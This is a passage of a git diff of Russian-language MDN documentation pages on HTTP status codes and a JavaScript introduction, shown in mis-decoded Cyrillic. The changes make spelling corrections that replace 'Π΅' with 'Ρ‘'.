- <td>ΠžΡ‚Π²Π΅Ρ‚ с Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΉΡ‚ΠΈ, Π΄Π°ΠΆΠ΅ Π±Π΅Π· ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ запроса. Он ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Ρ…ΠΎΡ‚Π΅Π» Π±Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ это Π½Π΅ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ соСдинСниС. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ всС Ρ‡Π°Ρ‰Π΅ с Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π²Ρ€ΠΎΠ΄Π΅ Chrome ΠΈ IE9, стали ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ соСдинСния</a> для ускорСния сСрфинга  (смотритС {{ bug(634278) }}, Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этого ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° Π² Firefox).Β Π’Π°ΠΊΠΆΠ΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΠΉΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСры ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°ΡŽΡ‚ соСдинСния Π½Π΅ отправляя ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… сообщСний.</td>
+ <td>ΠžΡ‚Π²Π΅Ρ‚ с Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΉΡ‚ΠΈ, Π΄Π°ΠΆΠ΅ Π±Π΅Π· ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ запроса. Он ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Ρ…ΠΎΡ‚Π΅Π» Π±Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ это Π½Π΅ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ соСдинСниС. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ всС Ρ‡Π°Ρ‰Π΅ с Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π²Ρ€ΠΎΠ΄Π΅ Chrome ΠΈ IE9, стали ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ соСдинСния</a> для ускорСния сёрфинга  (смотритС {{ bug(634278) }}, Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этого ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° Π² Firefox).Β Π’Π°ΠΊΠΆΠ΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΠΉΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСры ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°ΡŽΡ‚ соСдинСния Π½Π΅ отправляя ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… сообщСний.</td>
<td>HTTP/1.1 only</td>
</tr>
<tr>
@@ -258,7 +258,7 @@ translation_of: Web/HTTP/Status
<td id="410">410</td>
<td>Gone</td>
<td>
- <p>Π­Ρ‚ΠΎΡ‚ ΠΎΡ‚Π²Π΅Ρ‚ отсылаСтся, ΠΊΠΎΠ³Π΄Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ с сСрвСра.</p>
+ <p>Π­Ρ‚ΠΎΡ‚ ΠΎΡ‚Π²Π΅Ρ‚ отсылаСтся, ΠΊΠΎΠ³Π΄Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ с сСрвСра.</p>
</td>
<td>HTTP/1.1 only</td>
</tr>
@@ -266,7 +266,7 @@ translation_of: Web/HTTP/Status
<td id="411">411</td>
<td>Length Required</td>
<td>
- <p>Запрос ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСрвСр Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>Content-Length</code>, Π½ΠΎ ΠΎΠ½ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½.</p>
+ <p>Запрос ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСрвСр Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β <code>Content-Length</code>, Π½ΠΎ ΠΎΠ½ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½.</p>
</td>
<td>HTTP/1.1 only</td>
</tr>
@@ -293,7 +293,7 @@ translation_of: Web/HTTP/Status
<tr>
<td id="415">415</td>
<td>Unsupported Media Type</td>
- <td>МСдиа Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ поддСрТиваСтся сСрвСром, поэтому запрос ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½</td>
+ <td>МСдиа Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ поддСрТиваСтся сСрвСром, поэтому запрос ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½</td>
<td>HTTP/1.1 only</td>
</tr>
<tr>
diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
index 268fc9985d..01888a792b 100644
--- a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
+++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
<p>Π‘Ρ‹Π»ΠΎ Π±Ρ‹ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π½Π°Ρ‡Π°Ρ‚ΡŒ с истории языка. JavaScript Π±Ρ‹Π» создан Π² 1995 Π‘Ρ€Π΅Π½Π΄Π°Π½ΠΎΠΌ Айком, ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΎΠΌ Π² ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Netscape. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π΅Π»ΠΈΠ· состоялся вмСстС с Π²Ρ‹Ρ…ΠΎΠ΄ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Netscape 2 Π² Π½Π°Ρ‡Π°Π»Π΅ 1996 Π³ΠΎΠ΄Π°. Π‘Π½Π°Ρ‡Π°Π»Π° язык назывался LiveScript, Π½ΠΎ Π·Π°Ρ‚Π΅ΠΌ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ Π² связи с ΠΌΠ°Ρ€ΠΊΠ΅Ρ‚ΠΈΠ½Π³ΠΎΠ²Ρ‹ΠΌΠΈ цСлями, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‹Π³Ρ€Π°Ρ‚ΡŒ Π½Π° популярности языка Java ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Sun Microsystem β€” нСсмотря Π½Π° это языки практичСски Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Π’Π°ΠΊ Π±Ρ‹Π»ΠΎ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΎ Π½Π°Ρ‡Π°Π»ΠΎ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ этими языками.</p>
-<p>Π§ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅Β Microsoft выпустила ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠΈΠΉ ΠΈ практичСски совмСстимый язык JScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡˆΡ‘Π» вмСстС с IE3. Π§Π΅Ρ€Π΅Π· ΠΏΠ°Ρ€Ρƒ мСсяцСв Netscape ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ» язык Π² <a href="http://www.ecma-international.org/">Ecma International</a>, Π•Π²Ρ€ΠΎΠΏΠ΅ΠΉΡΠΊΡƒΡŽ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΡŽ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰ΡƒΡŽΡΡ стандартами, которая выпустила ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ стандарта <a href="https://developer.mozilla.org/en/JavaScript/Language_Resources" title="en/ECMAScript">ECMAScript</a> Π² 1997. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π² <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> Π² 1999, ΠΈ остаСтся самым ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π΄ΠΎ сСгодняшнСго дня. ЧСтвСртая вСрсия Π±Ρ‹Π»Π° ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π°, ΠΈΠ·-Π·Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с услоТнСниями Π² языкС. МногиС Π²Π΅Ρ‰ΠΈ ΠΈΠ· Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ³ΠΎ издания послуТили основой для стандарта ECMAScript 5 (Π΄Π΅ΠΊΠ°Π±Ρ€ΡŒΒ 2009) ΠΈ ECMAScript 6 (июнь 2015).</p>
+<p>Π§ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅Β Microsoft выпустила ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠΈΠΉ ΠΈ практичСски совмСстимый язык JScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡˆΡ‘Π» вмСстС с IE3. Π§Π΅Ρ€Π΅Π· ΠΏΠ°Ρ€Ρƒ мСсяцСв Netscape ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ» язык Π² <a href="http://www.ecma-international.org/">Ecma International</a>, Π•Π²Ρ€ΠΎΠΏΠ΅ΠΉΡΠΊΡƒΡŽ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΡŽ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‰ΡƒΡŽΡΡ стандартами, которая выпустила ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ стандарта <a href="https://developer.mozilla.org/en/JavaScript/Language_Resources" title="en/ECMAScript">ECMAScript</a> Π² 1997. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» Π·Π½Π°Ρ‡ΠΈΠΌΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π² <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> Π² 1999, ΠΈ остаётся самым ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π΄ΠΎ сСгодняшнСго дня. ЧСтвёртая вСрсия Π±Ρ‹Π»Π° ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π°, ΠΈΠ·-Π·Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с услоТнСниями Π² языкС. МногиС Π²Π΅Ρ‰ΠΈ ΠΈΠ· Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ³ΠΎ издания послуТили основой для стандарта ECMAScript 5 (Π΄Π΅ΠΊΠ°Π±Ρ€ΡŒΒ 2009) ΠΈ ECMAScript 6 (июнь 2015).</p>
<div class="note">
<p><strong>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ</strong>: Π”Π°Π»Π΅Π΅ ΠΏΠΎ тСксту мы Π±ΡƒΠ΄Π΅ΠΌ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ язык ECMAScript ΠΊΠ°ΠΊΒ "JavaScript".</p>
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
<p>JavaScript являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ языком, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉΒ Ρ‚ΠΈΠΏΡ‹ ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, встроСнныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π•Π³ΠΎ синтаксис происходит ΠΎΡ‚ языков Java ΠΈ C, поэтому ΠΌΠ½ΠΎΠ³ΠΎ конструкций ΠΈΠ· этих языков ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ ΠΈ ΠΊ JavaScript. Одним ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΉ JavaScript являСтся отсутствиС классов, вмСсто этого Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ классов осущСствляСтся ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (смотритС ES6 {{jsxref("Classes")}}) . Π”Ρ€ΡƒΠ³ΠΎΠ΅ Π³Π»Π°Π²Π½ΠΎΠ΅ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… содСрТится исполняСмый ΠΊΠΎΠ΄ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΊΡƒΠ΄Π°-Π»ΠΈΠ±ΠΎ, ΠΊΠ°ΠΊ ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
-<p>Начнём с основы любого языка: с Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° JavaScript ΠΎΠΏΠ΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ значСниями, ΠΈ всС эти значСния ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ. Π’ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² JavaScript:</p>
+<p>Начнём с основы любого языка: с Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° JavaScript ΠΎΠΏΠ΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ значСниями, ΠΈ всС эти значСния ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ. Π’ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² JavaScript:</p>
<ul>
<li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Number">Числа</a></li>
@@ -32,7 +32,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
<li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹</a>Β (Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΏ ΠΈΠ· ΡˆΠ΅ΡΡ‚ΠΎΠΉ Ρ€Π΅Π΄Π°ΠΊΡ†ΠΈΠΈ)</li>
</ul>
-<p>Π”Π°, Π΅Ρ‰Π΅Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">Undefined</a> ΠΈ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ обособлСны. И <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">ΠœΠ°ΡΡΠΈΠ²Ρ‹</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ особым Π²ΠΈΠ΄ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². А Ρ‚Π°ΠΊΠΆΠ΅Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Date">Π”Π°Ρ‚Ρ‹</a>Β ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="en/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">РСгулярныС выраТСния</a>, Ρ‚ΠΎΠΆΠ΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ. И, Ссли Π±Ρ‹Ρ‚ΡŒ тСхничСски Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ это Ρ‚ΠΎΠΆΠ΅ особый Π²ΠΈΠ΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ схСма Ρ‚ΠΈΠΏΠΎΠ² выглядит скорСС Ρ‚Π°ΠΊ:</p>
+<p>Π”Π°, Π΅Ρ‰Ρ‘Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">Undefined</a> ΠΈ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ обособлСны. И <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">ΠœΠ°ΡΡΠΈΠ²Ρ‹</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ особым Π²ΠΈΠ΄ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². А Ρ‚Π°ΠΊΠΆΠ΅Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Date">Π”Π°Ρ‚Ρ‹</a>Β ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="en/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">РСгулярныС выраТСния</a>, Ρ‚ΠΎΠΆΠ΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ. И, Ссли Π±Ρ‹Ρ‚ΡŒ тСхничСски Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ это Ρ‚ΠΎΠΆΠ΅ особый Π²ΠΈΠ΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ схСма Ρ‚ΠΈΠΏΠΎΠ² выглядит скорСС Ρ‚Π°ΠΊ:</p>
<ul>
<li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number">Числа</a></li>
@@ -589,7 +589,7 @@ avg(2, 3, 4, 5); // 3.5</pre>
<div class="blockIndicator note">
<p>Π’ Π²Ρ‹ΡˆΠ΅Π½Π°ΠΏΠΈΡΠ°Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ пСрСмСнная <strong>args</strong> содСрТит всС значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.<br>
<br>
- Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π³Π΄Π΅ Π±Ρ‹ Π½ΠΈ Π±Ρ‹Π»Β  Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Β <em>rest parameter operator</em> Π² объявлСнии Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ всС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Β <em>послС</em> Сго объявлСния, Π½Π΅ Ρ€Π°Π½ΡŒΡˆΠ΅. Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β <em>function</em>Β <em>avg(</em><strong>firstValue,Β </strong><em>...args)</em><strong>Β </strong>Π±ΡƒΠ΄Π΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <strong>firstValue </strong>ΠΈ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ Π²Β <strong>args</strong>. Π­Ρ‚ΠΎ Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ свойство языка, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ΠΎ Π²Π΅Π΄Π΅Ρ‚ нас ΠΊ Π½ΠΎΠ²ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅. Β <code>avg()</code> функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ список Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми. Но Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ срСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² массивС? Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+ Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π³Π΄Π΅ Π±Ρ‹ Π½ΠΈ Π±Ρ‹Π»Β  Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Β <em>rest parameter operator</em> Π² объявлСнии Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ всС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Β <em>послС</em> Сго объявлСния, Π½Π΅ Ρ€Π°Π½ΡŒΡˆΠ΅. Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β <em>function</em>Β <em>avg(</em><strong>firstValue,Β </strong><em>...args)</em><strong>Β </strong>Π±ΡƒΠ΄Π΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <strong>firstValue </strong>ΠΈ 